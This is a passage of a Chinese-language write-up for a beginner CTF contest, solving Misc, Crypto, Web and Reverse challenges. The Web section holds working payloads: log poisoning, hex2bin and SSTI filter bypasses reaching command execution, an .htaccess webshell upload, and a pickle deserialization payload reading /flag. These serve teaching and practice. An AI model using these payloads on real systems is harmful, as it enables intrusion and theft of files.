Dest0g3 520迎新赛

首届Dest0g3 520迎新赛更加注重CTFer的基础知识面掌握程度,由易到难,适合各学习阶段选手参加,纯萌新水准。

比赛时间:2022.5.20 10:00 - 5.27 10:00

题目分类:Web、Pwn、Misc、Crypto、Re、AI、BlockChain

题目难度:萌新

比赛类型:个人赛

比赛交流QQ群:923945203

个人赛奖励:总榜前10及各方向前三均可获得《从0到1:CTFer成长之路》一本 + 定制U盘(32G)一个

Rank: 12


MISC

Welcome to fxxking

关注公众号并回复:Give me the fxxking flag

公众号 Dest0g3 Team 回复:Give me the fxxking flag,

得到 The fxxking flag is: Dest0g3{W31c0m3_t0_DestCTF2022!}

Pngenius

foremost分解png图片得到zip压缩包,zsteg查看png图片的lsb通道得到 Password for zip:Weak_Pas5w0rd

用密码 Weak_Pas5w0rd 解压zip压缩包得到flag:Dest0g3{2908C1AA-B2C1-B8E6-89D1-21B97D778603}

EasyEncode

Enjoy Decoding

用ARCHPR爆破zip压缩包密码得到 100861,按照 摩斯密码-16进制-Unicode-Base64 解码得到 Dest0g3{Deoding_1s_e4sy_4_U}

你知道js吗

打开flag文件发现是word文件/压缩包,在 document.xml 中找到Base64编码的字符串,解码得到brainfuck,在线解密得到16进制字符串 446573743067337B38366661636163392D306135642D343034372D623730322D3836636233376162373762327D,转为字符得 Dest0g3{86facac9-0a5d-4047-b702-86cb37ab77b2}

StrangeTraffic

Wireshark打开发现是Modbus流量,在流0发现分段Base64字符串 RGVzdDBnM3szMUE1QkVBNi1GMjBELUYxOEEtRThFQS0yOUI0RjI1NzEwOEJ9,连接解码得 Dest0g3{31A5BEA6-F20D-F18A-E8EA-29B4F257108B}

EasyWord

Let the word tell u

根据 hint.txt 得知 password.docm 密码全小写字母,且满足 ??q?b?,用john爆破:

1
2
office2john password.docm > hash.txt
john --mask='?l?lq?lb?l' hash.txt

得到密码 ulqsbt

打开发现存在宏,查看宏代码有密码,参考类似题目中破解宏密码的方法,将word文件用压缩包方式打开,找到 vbaProject.bin 文件以16进制方式查看,将 DBP 改为 DBX 并保存,再将修改后的文件替换到压缩包里,改回word文件格式,重新打开可看到宏代码。

进入VBA编辑器查看Dialog对应宏代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Private Sub CB_OK_Click()
Dim strpasw As String
Dim strdec As String
Dim strusrinput As String
Dim t As String
t = ChrW(21152) & ChrW(27833) & ChrW(21543) & ChrW(65292) & ChrW(21516) & ChrW(23398) & ChrW(20204) & ChrW(65281)

strusrinput = Dialog.TextBox_Pasw
Dim sinput As String
sinput = strusrinput

If (strusrinput <> "") Then
strusout = Encode(strusrinput, t)
If (strusout = "┤℡ǒqx~") Then
strdec = Decode(Dialog.Label_ls.Caption, sinput)
Else
If (strusout = "kGJEgq") Then
strdec = Decode(Dialog.Label_ls1.Caption, sinput)
Else
If (strusout = "ЮΟopz+") Then
strdec = Decode(Dialog.Label_ls2.Caption, sinput)
Else
If (strusout = "zΚjrШφεあ") Then
strdec = Decode(Dialog.Label_ls4.Caption, sinput)
Else
If (strusout = "àǖtUw┧hè") Then
strdec = Decode(Dialog.Label_ls3.Caption, sinput)
Else
strdec = StrConv(t, vbFromUnicode)
End If
End If
End If
End If
End If
Label_CLUE.Caption = strdec
End If

无需分析加解密算法,输出结果 strusoutEncode(strusrinput, t) 加密得到,只需分别用解密函数反推五个if分支条件对应的明文即可,修改 Label_CLUE.Caption = strdecLabel_CLUE.Caption = Decode(xxx,t),回到word运行 AutoOpen 宏,随便输入字符点击确定即可在Dialog的label处显示对应明文,分别是 123456aaaaaa000000墙角数枝iloveyou

Label_CLUE.Caption = Decode(xxx,t) 改回 Label_CLUE.Caption = strdec,分别输入五段明文,发现输入 墙角数枝 得到 解压密码:两只黄鹂鸣翠柳,一行白鹭上青天!,结合word里的hint Rar密码为复杂型,长度为16位,包含了字母、数字和符号。,压缩包密码猜出为 2zhlmcl,1hblsqt.,解压拿到flag:Dest0g3{VBScr1pt_And_Hashc4t_1s_g00d}

4096

Just relax and always be aware of the changes on the web!

4096小游戏,查看js,用chrome源代码里的搜索功能,搜 flag 可在 local_storage_manager.js 里找到

1
2
3
4
5
function getPartFlag(score) {
if (score > 10000) {
console.log("Q29uZ3JhdHVsYXRpb25zLCB0aGlzIGlzIHBhcnQgb2YgdGhlIGZsYWc6IE5HVmxOeTFpTmpjekxUazNNV1E0TVdZNFlqRTNOMzA9Lg==");
}
}

两次base64解码得到flag后半部分 4ee7-b673-971d81f8b177}

前半部分在js内找很久都没找到,观察资源文件里存在 favicon.icofavicon.png 两张图,取出来发现png图有隐写,foremost分出一个wav文件和一个zip文件;

用audacity查看wav,前后两段是DTMF按键音,解码出 74958097831,中间一段是SSTV慢扫描电视,用robot36扫出图片,内容是 MD5{cell phone number},将前面的 74958097831 倒序成手机号格式,MD5加密得到 32fc1b5487cb447f792a19418b92544e,解压zip压缩包;

压缩包里为切割后打乱拼接的图片,利用gaps工具拼图

gaps --image=puzzle.png --size=64 --save

得到的结果还是有部分块位置不对,再gaps两次得到完整原图:

part_flag_solution_solution_solution

将字符串拼接得 RGVzdDBnM3tlZDRkMTE0Zi05ZWU0LQ==,base64解码得flag前半段:Dest0g3{ed4d114f-9ee4-

Python_jail

听说python是最好的语言,那我把它锁起来,我就是最好的语言了!

根据hint提示,password里内容是whitespace语言,在线编译得到 a8e15220-7404-4269-812e-6418557b7dc2,是zip压缩包密码;

解压zip压缩包,zsteg发现lsb隐写pyc文件,提取:

zsteg -E "b1,rgb,lsb,xy" SECRET1.png > out.pyc

无需反编译,16进制查看发现 ZmxhZ3tiNWJjZmM4Ny01Y2E2LTQzZjEtYjM4NC01N2QwOWI4ODZjYTl9,base64解码得 flag{b5bcfc87-5ca6-43f1-b384-57d09b886ca9}

codegame

Funny and ez codegame with Key to celebrate EDG

KEYcode里经查是LOLCODE Language,用dcode解得到输出是 QEFPFPQEBMXPPTLOA,以此为密码解压zip压缩包,得到word文件;

直接打开word发现 AES 提示,用压缩包打开word有个 fllllllllll1ag.txt 文件,里面是一串emoji表情,猜想为emoji-aes加密,在线解密,同样用 QEFPFPQEBMXPPTLOA 作为key,没成功,再不断盲调Rotation,在Rotation为4的时候解密成功,得到

666C61677B39663638663333342D303137612D343230312D393264662D6464646363313435333334647D

16进制转字符串得 flag{9f68f334-017a-4201-92df-dddcc145334d}

rookie hacker-2

(容器1的容器名为 test_docker1,容器2的容器名为 test_docker2

Alice访问自己的docker时忘记了把容器分别部署在哪些ip上,你能帮帮他么? Flag格式:Dest0g3{ip1_ip2_…..} 例:假设容器1、容器2的ip为1.1.1.1、2.2.2.2,则flag为 Dest0g3{1.1.1.1_2.2.2.2}

非预期,docker的IP地址会以 "IPAddress": "172.x.x.x" 的形式记录在配置文件中,直接在E01文件里用正则表达式 "IPAddress":"172 搜索,取出现频率最高的两个IP即可,flag:Dest0g3{172.18.0.2_172.18.0.3}

CRYPTO

babyRSA

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from Crypto.Util.number import bytes_to_long, getPrime
from gmpy2 import next_prime
p = getPrime(1024)
q = next_prime(p)
n = p*q
flag = open('flag.txt', 'rb').read()
m = bytes_to_long(flag)
e = 65537
c = pow(m, e, n)
print(n)
print(c)
'''
27272410937497615429184017335437367466288981498585803398561456300019447702001403165885200936510173980380489828828523983388730026101865884520679872671569532101708469344562155718974222196684544003071765625134489632331414011555536130289106822732544904502428727133498239161324625698270381715640332111381465813621908465311076678337695819124178638737015840941223342176563458181918865641701282965455705790456658431641632470787689389714643528968037519265144919465402561959014798324908010947632834281698638848683632113623788303921939908168450492197671761167009855312820364427648296494571794298105543758141065915257674305081267
14181751948841206148995320731138166924841307246014981115736748934451763670304308496261846056687977917728671991049712129745906089287169170294259856601300717330153987080212591008738712344004443623518040786009771108879196701679833782022875324499201475522241396314392429412747392203809125245393462952461525539673218721341853515099201642769577031724762640317081252046606564108211626446676911167979492329012381654087618979631924439276786566078856385835786995011067720124277812004808431347148593882791476391944410064371926611180496847010107167486521927340045188960373155894717498700488982910217850877130989318706580155251854
'''

$p,q$ 相近,常规RSA:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from gmpy2 import *

n =
e =
c =
p = iroot(n,2)[0]
while not is_prime(p):
p += 1
q = n // p
d = invert(e, (p-1)*(q-1))
m = pow(c,d,n)
print(bytes.fromhex(hex(m)[2:]))

# b'Dest0g3{96411aad-032c-20a8-bc43-b473f6f08536}'

babyAES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from Crypto.Cipher import AES
import os
iv = os.urandom(16)
key = os.urandom(16)
my_aes = AES.new(key, AES.MODE_CBC, iv)
flag = open('flag.txt', 'rb').read()
flag += (16 - len(flag) % 16) * b'\x00'
c = my_aes.encrypt(flag)
print(c)
print(iv)
print(key)

'''
b'C4:\x86Q$\xb0\xd1\x1b\xa9L\x00\xad\xa3\xff\x96 hJ\x1b~\x1c\xd1y\x87A\xfe0\xe2\xfb\xc7\xb7\x7f^\xc8\x9aP\xdaX\xc6\xdf\x17l=K\x95\xd07'
b'\xd1\xdf\x8f)\x08w\xde\xf9yX%\xca[\xcb\x18\x80'
b'\xa4\xa6M\xab{\xf6\x97\x94>hK\x9bBe]F'
'''

AES-CBC解密:

1
2
3
4
5
6
7
8
9
10
from Crypto.Cipher import AES

c = b'C4:\x86Q$\xb0\xd1\x1b\xa9L\x00\xad\xa3\xff\x96 hJ\x1b~\x1c\xd1y\x87A\xfe0\xe2\xfb\xc7\xb7\x7f^\xc8\x9aP\xdaX\xc6\xdf\x17l=K\x95\xd07'
iv = b'\xd1\xdf\x8f)\x08w\xde\xf9yX%\xca[\xcb\x18\x80'
key = b'\xa4\xa6M\xab{\xf6\x97\x94>hK\x9bBe]F'
my_aes = AES.new(key, AES.MODE_CBC, iv)
m = my_aes.decrypt(c)
print(m)

# b'Dest0g3{d0e5fa76-e50f-76f6-9cf1-b6c2d576b6f4}\x00\x00\x00'

ezDLP

1
2
3
4
5
6
7
8
9
10
11
from Crypto.Util.number import *

flag = open('flag.txt', 'rb').read()
x = bytes_to_long(flag)
g = 19
p = 335215034881592512312398694238485179340610060759881511231472142277527176340784432381542726029524727833039074808456839870641607412102746854257629226877248337002993023452385472058106944014653401647033456174126976474875859099023703472904735779212010820524934972736276889281087909166017427905825553503050645575935980580803899122224368875197728677516907272452047278523846912786938173456942568602502013001099009776563388736434564541041529106817380347284002060811645842312648498340150736573246893588079033524476111268686138924892091575797329915240849862827621736832883215569687974368499436632617425922744658912248644475097139485785819369867604176912652851123185884810544172785948158330991257118563772736929105360124222843930130347670027236797458715653361366862282591170630650344062377644570729478796795124594909835004189813214758026703689710017334501371279295621820181402191463184275851324378938021156631501330660825566054528793444353
h = pow(g, x, p)
print(h)
'''
199533304296625406955683944856330940256037859126142372412254741689676902594083385071807594584589647225039650850524873289407540031812171301348304158895770989218721006018956756841251888659321582420167478909768740235321161096806581684857660007735707550914742749524818990843357217489433410647994417860374972468061110200554531819987204852047401539211300639165417994955609002932104372266583569468915607415521035920169948704261625320990186754910551780290421057403512785617970138903967874651050299914974180360347163879160470918945383706463326470519550909277678697788304151342226439850677611170439191913555562326538607106089620201074331099713506536192957054173076913374098400489398228161089007898192779738439912595619813699711049380213926849110877231503068464392648816891183318112570732792516076618174144968844351282497993164926346337121313644001762196098432060141494704659769545012678386821212213326455045335220435963683095439867976162
'''

DLP求解:

1
2
3
4
5
6
7
8
# Sage
g = 19
p =
h =
x = discrete_log(mod(h,p),mod(g,p))
print(bytes.fromhex(hex(x)[2:]))

# b'Dest0g3{07ed2a6f-182f-a05d-c81e-1318af820a78}'

ezStream

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from Crypto.Util.number import *

f = open('flag.txt', 'r')
flag = f.read()
f.close()
assert flag[:8] == "Dest0g3{"


class LCG:
def __init__(self):
self.a = getRandomNBitInteger(32)
self.b = getRandomNBitInteger(32)
self.m = getPrime(32)
self.seed = getRandomNBitInteger(32)

def next(self):
self.seed = (self.a * self.seed + self.b) % self.m
return self.seed >> 16

def output(self):
print("a = {}\nb = {}\nm = {}".format(self.a, self.b, self.m))
print("state1 = {}".format(self.next()))
print("state2 = {}".format(self.next()))


lcg = LCG()
lcg.output()
c = b''.join([long_to_bytes(ord(flag[i]) ^ (lcg.next() % 10))
for i in range(len(flag))])
print(bytes_to_long(c))
'''
a = 3939333498
b = 3662432446
m = 2271373817
state1 = 17362
state2 = 20624
600017039001091357643174067454938198067935635401496485588306838343558125283178792619821966678282131419050878
'''

LCG,爆破求seed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
a = 3939333498
b = 3662432446
m = 2271373817
state1 = 17362
state2 = 20624
c = 600017039001091357643174067454938198067935635401496485588306838343558125283178792619821966678282131419050878
c = list(bytes.fromhex(hex(c)[2:]))

for i in range(65536):
s1 = (state1<<16)+i
s2 = (a*s1+b) % m
if s2>>16 == state2:
seed = ((s1-b)*inverse_mod(a,m))%m
print(seed)

# 1315807869
# 710396196
# 104984523

三个结果分别代入求解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
c = 600017039001091357643174067454938198067935635401496485588306838343558125283178792619821966678282131419050878
c = list(bytes.fromhex(hex(c)[2:]))
seed = [1315807869,710396196,104984523]

for k in seed:
class LCG:
def __init__(self):
self.a = 3939333498
self.b = 3662432446
self.m = 2271373817
self.seed = k

def next(self):
self.seed = (self.a * self.seed + self.b) % self.m
return self.seed >> 16

lcg = LCG()
lcg.next()
lcg.next()
flag = ''
for i in range(len(c)):
flag += chr(c[i] ^^ (lcg.next() % 10))
print(flag)

# Bcpp7`;{e84m559>$l52o(e89: g5bl-kfg376077b26|
# Iosr2f;b02g6883(c59a%`5=6"`4oi-ga`645;3<d26}
# Dest0g3{f21c7180-c35e-f912-e4bc-bfd235759a25}

Mr.Doctor

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from Crypto.Util.number import *
from hashlib import sha256
import string

table = string.ascii_letters + string.digits
flag = open('flag.txt', 'rb').read()[8:-1]
seed = getRandomNBitInteger(40)


class SHA256:
def __init__(self):
self.proof = []
self.sha = 0
self.sha_flag = []

def encryption(self):
for i in range(len(flag) // 4):
self.proof.append(flag[4 * i:4 + 4 * i])
self.sha = sha256(self.proof[i]).hexdigest().encode()
self.sha_flag.append(bytes_to_long(self.sha))
return self.sha_flag


class RHODES_ELITE:
def __init__(self):
self.Doctor = getPrime(64)
self.Amiya = getRandomNBitInteger(40)
self.Rosmontis = getRandomNBitInteger(40)
self.Blaze = getRandomNBitInteger(40)
self.seed = seed

def next(self):
self.seed = (self.Amiya * self.seed * self.seed + self.Rosmontis * self.seed + self.Blaze) % self.Doctor
return self.seed >> 12

def output(self):
print("Amiya = ", self.Amiya)
print("Rosmontis = ", self.Rosmontis)
print("Blaze = ", self.Blaze)
print("Doctor = ", self.Doctor)


sha = SHA256()
sha_flag = sha.encryption()
elite = RHODES_ELITE()
elite.output()
print("Ash = ", elite.next())
print("SliverAsh = ", elite.next())
W = b''.join([long_to_bytes(sha_flag[i] % (seed ** 3) ^ (elite.next() % 100)) for i in range(len(sha_flag))])
print(bytes_to_long(W))

'''
Amiya = 956366446278
Rosmontis = 1061992537343
Blaze = 636205571590
Doctor = 18068433704538283397
Ash = 1097363493609113
SliverAsh = 2051431344160327
1920358673646340365826516899186299898354902389402251443712585240681673718967552394250439615271108958695077816395789102908554482423707690040360881719002797624203057223577713119411615697309430781610828105111854807558984242631896605944487456402584672441464316236703857236007195673926937583757881853655505218912262929700452404084
'''

二阶LCG + 4位一轮爆破,用二元Coppersmith方法求seed:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import itertools

def small_roots(f, bounds, m=1, d=None):
if not d:
d = f.degree()
R = f.base_ring()
N = R.cardinality()
f /= f.coefficients().pop(0)
f = f.change_ring(ZZ)

G = Sequence([], f.parent())
for i in range(m + 1):
base = N ^ (m - i) * f ^ i
for shifts in itertools.product(range(d), repeat=f.nvariables()):
g = base * prod(map(power, f.variables(), shifts))
G.append(g)

B, monomials = G.coefficient_matrix()
monomials = vector(monomials)

factors = [monomial(*bounds) for monomial in monomials]
for i, factor in enumerate(factors):
B.rescale_col(i, factor)

B = B.dense_matrix().LLL()

B = B.change_ring(QQ)
for i, factor in enumerate(factors):
B.rescale_col(i, 1 / factor)

H = Sequence([], f.parent().change_ring(QQ))
for h in filter(None, B * monomials):
H.append(h)
I = H.ideal()
if I.dimension() == -1:
H.pop()
elif I.dimension() == 0:
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots
return []

a = 956366446278
b = 1061992537343
c = 636205571590
p = 18068433704538283397
state1 = 1097363493609113
state2 = 2051431344160327
PR.< s1_low, s2_low > = PolynomialRing(Zmod(p))
f = a * ((state1 << 12) + s1_low) ^ 2 + b * ((state1 << 12) + s1_low) + c - (state2 << 12) - s2_low
state1 = small_roots(f, (2 ^ 28, 2 ^ 28), m=3)[0][0] + (state1 << 12)
state2 = small_roots(f, (2 ^ 28, 2 ^ 28), m=3)[0][1] + (state2 << 12)

P.<x> = PolynomialRing(Zmod(p))
f = a * x * x + b * x + c - state1
seed = f.monic().roots()[1][0]
print(seed)

# 626844643882

代入逐4位爆破flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
from hashlib import sha256
import string
from pwnlib.util.iters import mbruteforce

class lcg:
def __init__(self):
self.p = 18068433704538283397
self.a = 956366446278
self.b = 1061992537343
self.c = 636205571590
self.seed = 626844643882

def next(self):
self.seed = (self.a * self.seed * self.seed + self.b * self.seed + self.c) % self.p
return self.seed >> 12

l = lcg()
seed = l.seed
l.next()
l.next()

c = 1920358673646340365826516899186299898354902389402251443712585240681673718967552394250439615271108958695077816395789102908554482423707690040360881719002797624203057223577713119411615697309430781610828105111854807558984242631896605944487456402584672441464316236703857236007195673926937583757881853655505218912262929700452404084
c = hex(c)[2:].rjust(9*30,'0')

table = '0123456789abcdef-'
def pow(nowc):
print(nowc)
t=l.next()
print(t)
return mbruteforce(lambda x: hex(int(sha256(x).hexdigest().encode('hex'),16)%(seed**3)^(t%100))[2:].rjust(30,'0') == nowc, table, length=4, method='fixed')

flag = ''
for i in range(9):
flag += pow(c[30*i:30*(i+1)])
print(flag)

# d2a4d1af-8a80-8794-99ac-635f89494cac

Bag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import gmpy2
from Crypto.Util.number import *
from secret import flag

message = bytes_to_long(flag[8:-1])
Baglenth=286
Bag=[]
Bag=Bag[::-1]
m=372992427307339981616536686110115630075342113098010788080347982669869622759400031649792
w=274062421102700155372289583695782343443
assert gmpy2.gcd(m,w)==1
h=0
j=0
if m.bit_length()%2==0:
h=m.bit_length()
j=int(h//2)
else:
h=m.bit_length()
j=int(h//2+1)
def pad(m,lenth):
while len(m)<lenth:
m='0'+m
return m
def keygen():
pk=[]
sk=[]
sk.append(m)
sk.append(int(gmpy2.invert(w,m)))
D=[]
binD=[]
for i in range(Baglenth):
di=(w*Bag[i])%m
D.append(di)
bindi=bin(di)[2:]
bindi=pad(bindi,h)
binD.append(bindi)
U=[]
V=[]
for i in range(Baglenth):
tempu=int(str(binD[i][:j]),2)
U.append(tempu)
tempv=int(str(binD[i][j:]),2)
V.append(tempv)
e=gmpy2.next_prime(sum(V))+2
f=gmpy2.next_prime(sum(U))
assert gmpy2.gcd(e,f)==1
sk.append(int(e))
sk.append(int(f))
for i in range(Baglenth):
ai=e*U[i]+f*V[i]
pk.append(int(ai))
return pk,sk
Pk,Sk=keygen()
print(Pk)
print(Sk)
def Encrypt(plain,pk):
mbin=bin(plain)[2:]
c=0
mbin=pad(mbin,Baglenth)
for i in range(Baglenth):
c=c+int(mbin[i])*pk[i]
return c
c=Encrypt(message,Pk)
print(c)

背包密码系统,LLL算法解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# Sage
import binascii
pubKey = []
nbit = len(pubKey)
encoded =
A = Matrix(ZZ, nbit + 1, nbit + 1)
for i in range(nbit):
A[i, i] = 1
for i in range(nbit):
A[i, nbit] = pubKey[i]
A[nbit, nbit] = -int(encoded)

res = A.LLL()
for i in range(0, nbit + 1):
M = res.row(i).list()
flag = True
for m in M:
if m != 0 and m != 1:
flag = False
break
if flag:
print(i, M)
M = ''.join(str(j) for j in M)
M = M[:-1]
M = hex(int(M, 2))[2:]
print(bytes.fromhex(M))

b'5090ea29-8cb6-4ad8-ab43-1e6f65cc8eeb'

WEB

phpdest

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once($_GET['file']);
}

文件包含,绕 require_once,burpsuite或 curl -A 修改User-Agent为 <?php show_source("flag.php");?>

然后用日志包含 ?file=/var/log/nginx/access.log 得到flag。

EasyPHP

Post something

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
echo $fl4g;
}else{
echo "Try harder!";
}
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
);
$fl4g .= $dest0g3;
?>

异常处理函数 use() 中输出flag,传参时传入数组即可触发异常:ctf[]=1

SimpleRCE

1
2
3
4
5
6
7
<?php
highlight_file(__FILE__);
$aaa=$_POST['aaa'];
$black_list=array('^','.','`','>','<','=','"','preg','&','|','%0','popen','char','decode','html','md5','{','}','post','get','file','ascii','eval','replace','assert','exec','$','include','var','pastre','print','tail','sed','pcre','flag','scan','decode','system','func','diff','ini_','passthru','pcntl','proc_open','+','cat','tac','more','sort','log','current','\\','cut','bash','nl','wget','vi','grep');
$aaa = str_ireplace($black_list,"hacker",$aaa);
eval($aaa);
?>

黑名单绕过rce,用16进制编码绕过:aaa=hex2bin('73797374656d')('uniq /f*');

funny_upload

文件上传后缀白名单绕过,利用.htaccess文件实现非PHP文件解析成PHP代码执行。

先上传 .htaccess 文件,由于文件中不能包含 <? ,用PHP伪协议base64解码处理:

1
2
AddType application/x-httpd-php .xxx
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.xxx"

再上传base64编码后的 shell.xxx 文件:

1
PD9waHAgcHJpbnRfcihmaWxlX2dldF9jb250ZW50cygnL2ZsYWcnKSk7

访问 shell.xxx,其中内容 <?php print_r(file_get_contents('/flag')); 以PHP代码执行,得到flag。

EasySSTI

登录框随便输入账号密码,进入 Hello xxx 界面,尝试更换账号为 {{2*3}},出现 Hello 6,可利用SSTI注入rce。

Fuzz发现过滤了很多符号,包括 request _ ' " [ . 空格 class getitem import 等,不过 config 可用,可从 {{config}} 内容字符串中找到所需字符来拼接构造字符串,可以避免用到引号;过滤的关键词使用 dict(cla=aa,ss=bb)|join() 形式绕过:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# _
config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3)
# 空格
config|string()|list()|attr(dict(p=aa,op=bb)|join())(7)
# /
config|string()|list()|attr(dict(p=aa,op=bb)|join())(279)

# __class__
(config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2+dict(cla=aa,ss=bb)|join()+(config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2

# config.__class__.__init__.__globals__
config|attr((config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2+dict(cla=aa,ss=bb)|join()+(config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2)|attr((config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2+dict(in=aa,it=bb)|join()+(config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2)|attr((config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2+dict(glo=aa,bals=bb)|join()+(config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2)

#config.__class__.__init__.__globals__['os'].popen('cat /flag').read()
config|attr((config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2+dict(cla=aa,ss=bb)|join()+(config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2)|attr((config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2+dict(in=aa,it=bb)|join()+(config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2)|attr((config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2+dict(glo=aa,bals=bb)|join()+(config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2)|attr((config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2+dict(geti=aa,tem=bb)|join()+(config|list()|last()|string()|list()|attr(dict(p=aa,op=bb)|join())(3))*2)(dict(o=aa,s=bb)|join())|attr(dict(po=aa,pen=bb)|join())(dict(c=aa,at=bb)|join()+config|string()|list()|attr(dict(p=aa,op=bb)|join())(7)+config|string()|list()|attr(dict(p=aa,op=bb)|join())(279)+dict(fl=aa,ag=bb)|join())|attr(dict(re=aa,ad=bb)|join())()

middle

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import os
import config
from flask import Flask, request, session, render_template, url_for,redirect,make_response
import pickle
import io
import sys
import base64

app = Flask(__name__)

class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module in ['config'] and "__" not in name:
return getattr(sys.modules[module], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))

def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()

@app.route('/')
def show():
base_dir = os.path.dirname(__file__)
resp = make_response(open(os.path.join(base_dir, __file__)).read()+open(os.path.join(base_dir, "config/__init__.py")).read())
resp.headers["Content-type"] = "text/plain;charset=UTF-8"
return resp

@app.route('/home', methods=['POST', 'GET'])
def home():
data=request.form['data']
User = restricted_loads(base64.b64decode(data))
return str(User)

if __name__ == '__main__':
app.run(host='0.0.0.0', debug=True, port=5000)
import os
def backdoor(cmd):
# 这里我也改了一下
if isinstance(cmd,list) :
s=''.join(cmd)
print("!!!!!!!!!!")
s=eval(s)
return s
else:
print("??????")

flask框架,用到python反序列化,参考巅峰极客2021 - what_pickle,限制了加载的模块只能为 config 里的,名字不能有 __,但是可以通过 configbackdoor(cmd) 函数绕过。

这题简化了 backdoor(cmd) 函数的使用条件,直接调用即可。利用pker构造opcode:

1
2
3
4
b'''(cconfig
backdoor
(S'__import__("os").popen("cat /flag.txt").read()'
lo.'''

base64编码opcode,传参:

data=KGNjb25maWcKYmFja2Rvb3IKKFMnX19pbXBvcnRfXygib3MiKS5wb3BlbigiY2F0IC9mbGFnLnR4dCIpLnJlYWQoKScKbG8u

REVERSE

simpleXOR

简单的加密

main() 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4[72]; // [rsp+0h] [rbp-160h]
char v5[52]; // [rsp+120h] [rbp-40h] BYREF
int v6; // [rsp+154h] [rbp-Ch]
unsigned int j; // [rsp+158h] [rbp-8h]
int i; // [rsp+15Ch] [rbp-4h]

v6 = 247;
printf("input flag:");
__isoc99_scanf("%s", v5);
for ( i = 0; i <= 35; ++i )
{
v4[i + 36] = v5[i];
v4[i] = v6 ^ (v4[i + 36] + i);
}
for ( j = 0; j <= 0x23; ++j )
{
if ( v4[j] != result_0[j] )
{
puts("Wrong!!!");
return 0;
}
if ( j == 35 )
puts("Success!!!");
}
return 0;
}

先加下标值再异或247,最后校验密文,简单还原:

1
2
3
4
5
c = [179, 145, 130, 128, 195, 155, 206, 117, 207, 156, 154, 133, 133, 205, 184, 132, 170, 125, 189, 187, 177, 181, 150, 113, 141, 158, 134, 191, 115, 168, 163, 156, 131, 101, 158, 87]
flag = [(c[i]^247)-i for i in range(len(c))]
print(bytes(flag))

# b'Dest0g3{0bcgf-AdMy892-KobPW-hB6LTqG}'

hi

main() 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int __cdecl main(int argc, const char **argv, const char **envp)
{
int i; // [rsp+4h] [rbp-ACh]
int v1; // [rsp+8h] [rbp-A8h]
char enc[45]; // [rsp+10h] [rbp-A0h]
char str[100]; // [rsp+40h] [rbp-70h] BYREF
unsigned __int64 v8; // [rsp+A8h] [rbp-8h]

v8 = __readfsqword(0x28u);
memset(str, 0, sizeof(str));
*(_QWORD *)enc = 0x9F8E7A1CC6486497LL;
*(_QWORD *)&enc[8] = 0x69EEF382E760BD46LL;
